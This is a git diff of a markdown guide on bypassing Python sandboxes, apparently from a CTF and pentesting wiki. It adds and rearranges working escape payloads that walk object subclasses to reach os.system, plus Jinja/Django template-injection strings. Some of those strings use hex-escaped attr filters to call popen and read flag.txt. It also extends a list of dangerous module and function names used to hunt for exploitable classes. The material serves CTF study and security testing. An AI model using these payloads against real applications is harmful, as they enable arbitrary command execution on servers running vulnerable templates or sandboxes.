diff --git a/misc/basic-python/bypass-python-sandboxes.md b/misc/basic-python/bypass-python-sandboxes.md index adac8d506..910447121 100644 --- a/misc/basic-python/bypass-python-sandboxes.md +++ b/misc/basic-python/bypass-python-sandboxes.md @@ -213,17 +213,6 @@ get_flag.__globals__['__builtins__'].__import__("os").system("ls") [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'_sitebuiltins." in str(x) and not "_Helper" in str(x) ][0]["sys"].modules["os"].system("ls") [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].import_module("os").system("ls") [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].__import__("os").system("ls") - -# In the previous example ''.__class__.__base__.__subclasses__() is used -# You can also use: -# [].__class__.__base__.__subclasses__() -# {}.__class__.__base__.__subclasses__() -# ().__class__.__base__.__subclasses__() -# bool.__class__.__base__.__subclasses__() - -#If attr is present -(''|attr('___class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read() -(''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read() ``` #### Python2 and Python3 @@ -236,7 +225,34 @@ __builtins__["__import__"]('os').system('ls') ### Discovering more loaded methods for arbitrary execution -Here I want to explain how to easily discover more dangerous functionalities loaded and propose more reliable exploits. +Here I want to explain how to easily discover **more dangerous functionalities loaded** and propose more reliable exploits. + +#### Accessing subclasses with bypasses + +One of the most sensitive parts of this technique is to be able to **access the base subclasses**. In the previous examples this was done using `''.__class__.__base__.__subclasses__()` but there are **other possible ways**: + +```python +#You can access the base from mostly anywhere (in regular conditions) +[].__class__.__base__.__subclasses__() +{}.__class__.__base__.__subclasses__() +().__class__.__base__.__subclasses__() +bool.__class__.__base__.__subclasses__() + +#You can also access it without "__base__" or "__class__" + ## You can apply the previous technique also here +"".__class__.__bases__[0].__subclasses__() +"".__class__.__mro__[1].__subclasses__() +"".__getattribute__("__class__").mro()[1].__subclasses__() +"".__getattribute__("__class__").__base__.__subclasses__() + +#If attr is present you can access everything as string +## This is common in Djanjo (and Jinja) environments +(''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read() +(''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read() +``` + +#### Finding dangerous libraries loaded + For example, knowing that with the library **`sys`** it's possible to **import arbitrary libraries**, you can search for all the **modules loaded that have imported sys inside of them**: ```python @@ -294,7 +310,7 @@ Moreover, if you think **other libraries** may be able to **invoke functions to ```python bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip"] -bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"] +bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__", "__globals__"] for b in bad_libraries_names + bad_func_names: vuln_funcs = [ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) for k in x.__init__.__globals__ if k == b ] print(f"{b}: {', '.join(vuln_funcs)}") @@ -324,16 +340,6 @@ __builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, Fil """ ``` -### Finding types - -```python -''.__class__ # -str.__class__ # -str.__class__('') # -().__class__.__base__.__subclasses__() #Several types -().__class__.__bases__[0].__subclasses__()#Several types -``` - ## Dissecting functions In some CTFs you could be provided the name of a custom function where the flag resides and you need to see the internals of the function to extract it.